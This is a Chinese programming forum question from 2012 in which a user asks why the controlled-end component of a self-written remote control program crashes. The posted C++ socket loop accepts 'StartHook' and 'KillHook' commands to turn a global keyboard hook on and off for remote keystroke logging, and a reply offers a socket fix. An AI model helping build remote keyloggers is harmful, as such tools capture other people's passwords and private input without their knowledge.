关于远程控制程序的键盘记录功能,该怎么处理

关于远程控制程序的键盘记录功能
本帖最后由 CrazyBW 于 2012-11-27 17:24:58 编辑
这几天在写一个简单远程控制程序,通信用的是CSocket类,今天在加一个远程键盘记录功能的时候出了一点问题。
键盘记录(用钩子实现)在本地程序测试的时候没有问题,当我把这个功能加在被控端的时候,出问题了,我粘代码。 如下:

unsigned int StartServer(LPVOID lParam)
{
AfxSocketInit();

CSocket aSocket, clientSocket;
aSocket.Socket();

BOOL bOptVal = TRUE;
int bOptLen = sizeof(BOOL);

aSocket.SetSockOpt(SO_REUSEADDR, (void *)&bOptVal, bOptLen, SOL_SOCKET);

aSocket.Bind(nPort);

aSocket.Listen(10);
//循环接收指令
while(1)
{
if(!aSocket.Accept(clientSocket))
{
continue;
}
else
{
char szRecvMsg[256] = {0};
clientSocket.Receive(szRecvMsg, 256);
if ( !strcmp(szRecvMsg, "StartHook") )   //设置全局钩子,开启键盘记录
{
InstallLaunchEv(); 
}
else if ( !strcmp(szRecvMsg, "KillHook") )    //结束全局钩子
{
CloseHook();
}
else 
{
AfxMessageBox("未知指令");
clientSocket.Close();
}
}
}

aSocket.Close();
clientSocket.Close();
return 0;
}

这是被控端中的一段代码,也是出问题的代码。
我把其中一些错误处理代码以及一小部分无关代码删除了,为了缩短程序代码长度。
这里可以收到服务端发来的 StartHook ,并执行InstallLaunchEv();  (关于此函数实现请参考 http://blog.****.net/jaminwm/article/details/463940 )
然后程序回到aSocket.Accept();
这时程序就崩溃了!请大神指导下~求解啊!!!!
------解决方案--------------------
clientSocket好像不能重复利用,还是把定义弄到while(1)里面比较好.